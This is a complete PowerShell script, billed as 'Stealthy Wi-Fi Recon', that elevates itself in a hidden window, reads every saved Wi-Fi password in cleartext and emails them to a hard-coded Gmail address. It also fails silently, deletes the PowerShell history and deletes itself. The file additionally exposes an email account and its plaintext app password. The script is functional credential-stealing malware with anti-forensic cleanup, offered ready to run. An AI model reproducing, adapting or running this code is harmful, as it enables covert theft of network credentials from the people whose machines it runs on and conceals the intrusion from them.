<#
.SYNOPSIS
Stealthy Wi-Fi Recon via PowerShell — emails saved Wi-Fi passwords.
.DESCRIPTION
Retrieves Wi-Fi profiles and passwords, sends to your Gmail securely,
runs hidden, self-deletes after running, and clears command history.
#>
# ---------------- Elevation Check & Relaunch Hidden ----------------
function Ensure-Admin {
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
$isAdmin = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if (-not $isAdmin) {
# Relaunch as admin but hidden window
Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs -WindowStyle Hidden
exit
}
}
# ---------------- Get Wi-Fi Profiles ----------------
function Get-WifiProfiles {
$profiles = netsh wlan show profiles
$profileLines = $profiles | Select-String "All User Profile"
$results = ""
foreach ($line in $profileLines) {
$ssid = ($line -split ":\s*", 2)[1].Trim()
$details = netsh wlan show profile name="$ssid" key=clear
$pwdLine = $details | Select-String "Key Content"
$password = if ($pwdLine) {
($pwdLine -split ":\s*", 2)[1].Trim()
} else {
""
}
$results += "SSID: $ssid`nPassword: $password`n------------------------`n"
}
return $results
}
# ---------------- Send Email ----------------
function Send-Email($bodyContent) {
$from = "zueskuyukot23@gmail.com"
$to = "zueskuyukot23@gmail.com"
$subject = "Wi-Fi Passwords from PowerShell"
$smtpServer = "smtp.gmail.com"
$smtpPort = 587
# Your App Password here (NO spaces)
$plainAppPassword = "ttlwzbbwnhsbjctc"
$securePassword = ConvertTo-SecureString $plainAppPassword -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($from, $securePassword)
try {
Send-MailMessage -From $from -To $to -Subject $subject -Body $bodyContent `
-SmtpServer $smtpServer -Port $smtpPort -UseSsl -Credential $cred
} catch {
# Fail silently, or write to event log if desired
}
}
# ---------------- Clear PowerShell History ----------------
function Clear-PowerShellHistory {
try {
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
} catch {}
}
# ---------------- Self-delete ----------------
function SelfDelete {
try {
Remove-Item -LiteralPath $PSCommandPath -Force -ErrorAction SilentlyContinue
} catch {}
}
# ---------------- MAIN ----------------
Ensure-Admin
# Run silently
$wifiData = Get-WifiProfiles
if ($wifiData) {
Send-Email -bodyContent $wifiData
}
Clear-PowerShellHistory
SelfDelete